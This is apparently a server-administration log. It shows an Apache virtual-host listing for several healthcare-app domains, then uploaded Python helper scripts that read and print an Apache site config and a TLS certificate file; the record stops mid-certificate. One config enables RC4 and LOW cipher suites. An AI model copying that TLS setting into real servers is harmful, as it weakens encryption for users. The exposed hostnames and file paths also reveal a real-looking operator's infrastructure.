         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-10 06:00:38: 

PUT: /tmp/pkp113177

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-10 06:00:38: 

chmod 755 /tmp/pkp113177; /tmp/pkp113177; rm /tmp/pkp113177

2025-09-10 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf	1822

<VirtualHost *:80>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/condor_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	condor.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
    DocumentRoot	/var/www/hostz_condor
    <Directory /var/www/hostz_condor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_condor/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/condor_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/condor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-10 06:00:38: 

PUT: /tmp/pkp544757

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-10 06:00:38: 

chmod 755 /tmp/pkp544757; /tmp/pkp544757; rm /tmp/pkp544757

2025-09-10 06:00:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt	5352
64:70:b7:71:e3:20:c9:49:80:f7:ba:3f:18:97:76:45

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBZa5crOMbAGBfQyghBxhR03ZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEwMDUwMjA2WhcNMjUxMjA5MDUwMjA1WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA7MX9f9VkgB2D6KWk6ZOt9WwOOJ1TaAIZFM4IDdHuW+ZZz+b0ThRbFD3keqyx
+NLEneWIpcrgiZonqIJigaibp1afxkH2NgpRDUUiZUh3YaQp+ZVG6ta+ysiXBbY1
SayDER6L0bF2Yq6YdCVsCI3lkidHBKFyUIRwv2jqO9UuBwcju2eJdlNLSGhX7UEG
NkDDlnGk3aVBze6gtTqKfLUBIqaef906sExhchBitTVTfdWR13f+xnj/26opCDUT
FdAplv1AcDBN1o4NmbNM17frfZexeaAQzFgQlFCeNQbrvCvYkk+N7Qe1usp6N2OK
d/+GaKynrsWnnAlBWiJL+gezVQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS6ER/ScHn+/MNADRfbDEw8CXbrYzAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy85MC5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdwDt
PEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZkyNjGeAAAEAwBIMEYC
IQC/fCQtV5EN2Fx130E1eCx4xjO5VdgSpF+RzRS21VY2wgIhAMnUs5J4R36ht11G
nm4rQjNLPSZFEHRwKKOnoVFv/tjLAHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZMjYxqwAABAMARjBEAiB5V3esieF2FE9ljaebbZ1Q/Iip7FU2
ihRPxYcaSlmLgwIgTTRcRFPeVfg1hxl5gMSXLTtieALIgDp5Ib9l+OEuRfMwDQYJ
KoZIhvcNAQELBQADggEBAKGCH26HeZtvTG9MlBfeDP2jRnLkIFTH5yZKZh5upY6F
